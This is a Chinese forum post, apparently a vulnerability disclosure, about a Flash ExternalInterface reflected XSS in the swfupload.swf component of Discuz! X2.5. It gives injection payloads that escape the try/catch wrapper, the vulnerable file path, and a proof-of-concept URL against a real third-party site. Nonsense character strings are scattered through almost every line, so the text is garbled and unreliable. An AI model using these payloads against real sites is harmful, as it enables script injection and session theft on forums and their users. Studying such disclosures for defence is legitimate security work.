上回我们说
3 K m' `! M- u- a# b# r/ V7 I$ d/ A# t+ a1 h9 Y2 t& c6 e U
flash.external.ExternalInterface.call($methodName, $parameter)' R( p( }2 Q2 H9 Q( b e+ W
在浏览器中执行的是
* {2 g+ ?# q5 }/ I7 d) Y
% ]4 E; T, x; t) j% gtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
% g5 E, a# s1 m对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: j8 ]3 D5 Q+ B7 }+ q: L7 k v" q7 \! B6 K O s7 N
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
; k3 l \8 U5 a( _" l# j/ O7 R$methodName = a())}catch(e){alert(/xss/)}//( c; n7 f" ]; w- C* x
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。9 C3 E% n- K& I( P) b
) |' y: Y# L2 P+ C* [' L) B" ~4 k) vtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; } e( c1 H1 i2 G# \* f
4 X8 t. a2 h2 T0 Z3 Y这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )0 u4 _% S' F$ r0 R5 S1 y4 L
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。7 H9 s7 s/ k! e+ Z8 S; ?0 i
. M, U5 V1 j/ d
( \2 _: S/ ^! M. n
1 {% ~2 z9 Z/ Z( v漏洞文件:upload\static\image\common\swfupload.swf
@& i9 W) N) i) A: E3 S% c S: C7 p- S1 D
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
4 M& v+ z) K: K2 A
( |; C/ h& P) g* k& R: L( a ~& X5 Z7 S7 T# N ?8 y0 \
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//1 h; W, v% l; ^( O) E( L
9 C+ O8 ?$ F; B5 D$ c3 y* \- w
4 A5 G! S4 z4 ]- R
|